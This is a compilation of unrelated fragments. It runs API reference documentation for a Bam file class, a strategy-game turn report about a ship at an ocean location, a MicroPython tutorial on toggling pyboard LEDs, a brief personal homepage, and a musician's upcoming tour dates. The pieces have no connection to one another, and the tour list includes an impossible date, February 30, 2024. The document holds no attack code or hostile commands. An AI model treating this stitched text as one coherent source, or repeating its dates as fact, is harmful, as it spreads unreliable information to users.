| Returns the major version number of the file currently being read, or the system current major version number if no file is currently open for reading. More... | |
| int | getFileMinorVer () |
| Returns the minor version number of the file currently being read, or the system current minor version number if no file is currently open for reading. More... | |
| bool | getFileStdfloatDouble () |
| Returns true if the file stores all "standard" floats as 64-bit doubles, or false if they are 32-bit floats. More... | |
| BamReader | getReader () |
| Returns the BamReader in charge of performing the read operations. More... | |
| BamWriter | getWriter () |
| Returns the BamWriter in charge of performing the write operations. More... | |
| bool | isEof () |
| Returns true if the reader has reached end-of-file, false otherwise. More... | |
| bool | isValidRead () |
| Returns true if the Bam file is open and ready for reading with no errors so far detected, or false otherwise. More... | |
| bool | isValidWrite () |
| Returns true if the Bam file is open and ready for writing with no errors so far detected, or false otherwise. More... | |
| bool | openRead (const Filename bam_filename, bool report_errors) |
| Attempts to open the indicated filename for reading. More... | |
| bool | openRead (Istream in, str bam_filename, bool report_errors) |
| Attempts to open the indicated stream for reading. More... | |
| bool | openWrite (const Filename bam_filename, bool report_errors) |
| Attempts to open the indicated file for writing. More... | |
| bool | openWrite (Ostream out, str bam_filename, bool report_errors) |
| Attempts to open the indicated stream for writing. More... | |
| PandaNode | readNode (bool report_errors) |
| Although the bam file format is general enough to store a list of objects of arbitrary type, bam files on disk usually contain just one object, a PandaNode that is the root of a scene graph. More... | |
| TypedWritable | readObject () |
| Reads and returns the next object from the Bam file, or NULL if the end of the file has been reached, or if there is an error condition. More... | |
| bool | resolve () |
| This must be called after one or more objects have been read via calls to read_object() in order to resolve all internal pointer references in the objects read and make all the pointers valid. More... | |
| bool | writeObject (const TypedWritable object) |
| Writes the indicated object to the Bam file. More... | |
| Public Member Functions inherited from BamEnums | |
| __init__ () | |
| __init__ (const BamEnums) | |
Public Attributes | |
| BamEnums::BamEndian | file_endian |
| Returns the endian preference indicated by the Bam file currently being read or written. More... | |
| bool | file_stdfloat_double |
| Returns true if the file stores all "standard" floats as 64-bit doubles, or false if they are 32-bit floats. More... | |
| BamReader | reader |
| Returns the BamReader in charge of performing the read operations. More... | |
| BamWriter | writer |
| Returns the BamWriter in charge of performing the write operations. More... | |
Additional Inherited Members | |
| Public Types inherited from BamEnums | |
| enum | BamEndian { BE_bigendian = 0, BE_littleendian = 1, BE_native = 1 } |
| This defines an enumerated type used to represent the endianness of certain numeric values stored in a Bam file. More... | |
| enum | BamObjectCode { BOC_push = 0, BOC_pop = 1, BOC_adjunct = 2, BOC_remove = 3, BOC_file_data = 4 } |
| This is the code written along with each object. More... | |
| enum | BamTextureMode { BTM_unchanged = 0, BTM_fullpath = 1, BTM_relative = 2, BTM_basename = 3, BTM_rawdata = 4 } |
The principle public interface to reading and writing Bam disk files.
See also BamReader and BamWriter, the more general implementation of this class.
Bam files are most often used to store scene graphs or subgraphs, and by convention they are given filenames ending in the extension ".bam" when they are used for this purpose. However, a Bam file may store any arbitrary list of TypedWritable objects; in this more general usage, they are given filenames ending in ".boo" to differentiate them from the more common scene graph files.
| __init__ | ( | ) |
| close | ( | ) |
Closes the input or output stream.
| int getCurrentMajorVer | ( | ) |
Returns the system current major version number.
This is the version number that will be assigned to any generated Bam files.
| int getCurrentMinorVer | ( | ) |
Returns the system current minor version number.
This is the version number that will be assigned to any generated Bam files.
| BamEnums::BamEndian getFileEndian | ( | ) |
Returns the endian preference indicated by the Bam file currently being read or written.
| int getFileMajorVer | ( | ) |
Returns the major version number of the file currently being read, or the system current major version number if no file is currently open for reading.
| int getFileMinorVer | ( | ) |
Returns the minor version number of the file currently being read, or the system current minor version number if no file is currently open for reading.
| bool getFileStdfloatDouble | ( | ) |
Returns true if the file stores all "standard" floats as 64-bit doubles, or false if they are 32-bit floats.
| BamReader getReader | ( | ) |
Returns the BamReader in charge of performing the read operations.
This will return NULL unless open_read() was called.
| BamWriter getWriter | ( | ) |
Returns the BamWriter in charge of performing the write operations.
This will return NULL unless open_write() was called.
| bool isEof | ( | ) |
Returns true if the reader has reached end-of-file, false otherwise.
This call is only valid after a call to read_object().
| bool isValidRead | ( | ) |
Returns true if the Bam file is open and ready for reading with no errors so far detected, or false otherwise.
| bool isValidWrite | ( | ) |
Returns true if the Bam file is open and ready for writing with no errors so far detected, or false otherwise.
| bool openRead | ( | const Filename | bam_filename, |
| bool | report_errors | ||
| ) |
Attempts to open the indicated filename for reading.
Returns true if successful, false on error.
| bool openRead | ( | Istream | in, |
| str | bam_filename, | ||
| bool | report_errors | ||
| ) |
Attempts to open the indicated stream for reading.
The filename is just for information purposes only. Returns true if successful, false on error.
| bool openWrite | ( | const Filename | bam_filename, |
| bool | report_errors | ||
| ) |
Attempts to open the indicated file for writing.
If another file by the same name already exists, it will be silently removed. Returns true if successful, false otherwise.
| bool openWrite | ( | Ostream | out, |
| str | bam_filename, | ||
| bool | report_errors | ||
| ) |
Attempts to open the indicated stream for writing.
The filename is just for information purposes only. Returns true if successful, false on error.
| PandaNode readNode | ( | bool | report_errors | ) |
Although the bam file format is general enough to store a list of objects of arbitrary type, bam files on disk usually contain just one object, a PandaNode that is the root of a scene graph.
(Bam files that store other kinds of things are usually given the extension "boo", for "binary other objects", to differentiate them from the normal scene graph type file.)
This is a convenience method for when you believe you are reading a scene graph bam file. It reads the one PandaNode and returns it. It also calls resolve() to fully resolve the object, since we expect this will be the only object in the file.
If the bam file contains something other than a PandaNode, an error is printed and NULL is returned.
| TypedWritable readObject | ( | ) |
Reads and returns the next object from the Bam file, or NULL if the end of the file has been reached, or if there is an error condition.
Use is_eof() to differentiate these two cases.
The pointers returned by this method will not be valid for use until resolve() is subsequently called.
| bool resolve | ( | ) |
This must be called after one or more objects have been read via calls to read_object() in order to resolve all internal pointer references in the objects read and make all the pointers valid.
It returns true if all objects are successfully resolved, or false if some have not been (in which case you must call resolve() again later).
| bool writeObject | ( | const TypedWritable | object | ) |
Writes the indicated object to the Bam file.
Returns true if successful, false on error.
| BamEnums::BamEndian file_endian |
Returns the endian preference indicated by the Bam file currently being read or written.
| bool file_stdfloat_double |
Returns true if the file stores all "standard" floats as 64-bit doubles, or false if they are 32-bit floats.
| BamReader reader |
Returns the BamReader in charge of performing the read operations.
This will return NULL unless open_read() was called.


Ocean [aj85], ocean, in Crystal Sea
Last updated Turn #137
Ocean [aj85], ocean, in Crystal Sea
------------------------------------------------------------------------
17: Sirocco Traveller [ja8y], ship, 10 hulls, 1 rowing port, 30 sails,
17: 4% damaged, arrived from Ocean [ak85], owner:
17: Toulouse [h1q], Pen, with one peasant, one worker, 32 sailors,
17: accompanied by:
17: Audrey [j9v], Pen, with 38 lt. xbowmen, three skirmishers,
17: three riding horses
17: Cindy [z1c], Pen, with 26 pikemen
17: Herbal Harriet [w3d], refugee, prisoner
17: Old man [hn0y], refugee, prisoner
18: Sirocco Traveller [ja8y], ship, 10 hulls, 1 rowing port, 30 sails,
18: 4% damaged, departed for Ocean [ai85].
Routes leaving Ocean:
North, to Ocean [ai85], 6 days
East, to Ocean [aj86], 6 days
South, to Ocean [ak85], 6 days
West, to Ocean [aj84], 6 days
Inner locations:
Island [ab5k], island, 1 day, owner:
Giant spider [bh2m], giant spiders, number: 9
Cyclops [as7w], cyclops, number: 15
It is windy.


4. Turning on LEDs and basic Python concepts¶
The easiest thing to do on the pyboard is to turn on the LEDs attached to the board. Connect the board, and log in as described in tutorial 1. We will start by turning and LED on in the interpreter, type the following
>>> myled = pyb.LED(1)
>>> myled.on()
>>> myled.off()
These commands turn the LED on and off.
This is all very well but we would like this process to be automated. Open the file MAIN.PY on the pyboard in your favourite text editor. Write or paste the following lines into the file. If you are new to python, then make sure you get the indentation correct since this matters!
led = pyb.LED(2)
while True:
led.toggle()
pyb.delay(1000)
When you save, the red light on the pyboard should turn on for about a second. To run the script, do a soft reset (CTRL-D). The pyboard will then restart and you should see a green light continuously flashing on and off. Success, the first step on your path to building an army of evil robots! When you are bored of the annoying flashing light then press CTRL-C at your terminal to stop it running.
So what does this code do? First we need some terminology. Python is an object-oriented language, almost everything in python is a class and when you create an instance of a class you get an object. Classes have methods associated to them. A method (also called a member function) is used to interact with or control the object.
The first line of code creates an LED object which we have then called led. When we create the object, it takes a single parameter which must be between 1 and 4, corresponding to the 4 LEDs on the board. The pyb.LED class has three important member functions that we will use: on(), off() and toggle(). The other function that we use is pyb.delay() this simply waits for a given time in milliseconds. Once we have created the LED object, the statement while True: creates an infinite loop which toggles the led between on and off and waits for 1 second.
Exercise: Try changing the time between toggling the led and turning on a different LED.
Exercise: Connect to the pyboard directly, create a pyb.LED object and turn it on using the on() method.
4.1. A Disco on your pyboard¶
So far we have only used a single LED but the pyboard has 4 available. Let’s start by creating an object for each LED so we can control each of them. We do that by creating a list of LEDS with a list comprehension.
leds = [pyb.LED(i) for i in range(1,5)]
If you call pyb.LED() with a number that isn’t 1,2,3,4 you will get an error message. Next we will set up an infinite loop that cycles through each of the LEDs turning them on and off.
n = 0
while True:
n = (n + 1) % 4
leds[n].toggle()
pyb.delay(50)
Here, n keeps track of the current LED and every time the loop is executed we cycle to the next n (the % sign is a modulus operator that keeps n between 0 and 3.) Then we access the nth LED and toggle it. If you run this you should see each of the LEDs turning on then all turning off again in sequence.
One problem you might find is that if you stop the script and then start it again that the LEDs are stuck on from the previous run, ruining our carefully choreographed disco. We can fix this by turning all the LEDs off when we initialise the script and then using a try/finally block. When you press CTRL-C, MicroPython generates a VCPInterrupt exception. Exceptions normally mean something has gone wrong and you can use a try: command to “catch” an exception. In this case it is just the user interrupting the script, so we don’t need to catch the error but just tell MicroPython what to do when we exit. The finally block does this, and we use it to make sure all the LEDs are off. The full code is:
leds = [pyb.LED(i) for i in range(1,5)]
for l in leds:
l.off()
n = 0
try:
while True:
n = (n + 1) % 4
leds[n].toggle()
pyb.delay(50)
finally:
for l in leds:
l.off()
4.2. The Special LEDs¶
The yellow and blue LEDs are special. As well as turning them on and off, you can control their intensity using the intensity() method. This takes a number between 0 and 255 that determines how bright it is. The following script makes the blue LED gradually brighter then turns it off again.
led = pyb.LED(4)
intensity = 0
while True:
intensity = (intensity + 1) % 255
led.intensity(intensity)
pyb.delay(20)
You can call intensity() on LEDs 1 and 2 but they can only be off or on. 0 sets them off and any other number up to 255 turns them on.


Welcome to my spectacular page! I currently live in New York and I am a UX designer at NBC. I like to stay busy and have a lot of interests. Below is a list of some of the things I like the most:
- music
- bikes
- motorcycles
- traveling
Here is list of places I want to visit:
- San Diego
- Austin
- Seattle


Akdong Musician
Upcoming Tour Dates
January 15, 2024 in Seattle, WA
February 7, 2024 in Portland, OR
February 30, 2024 in Oakland, CA
Stay tuned for more!


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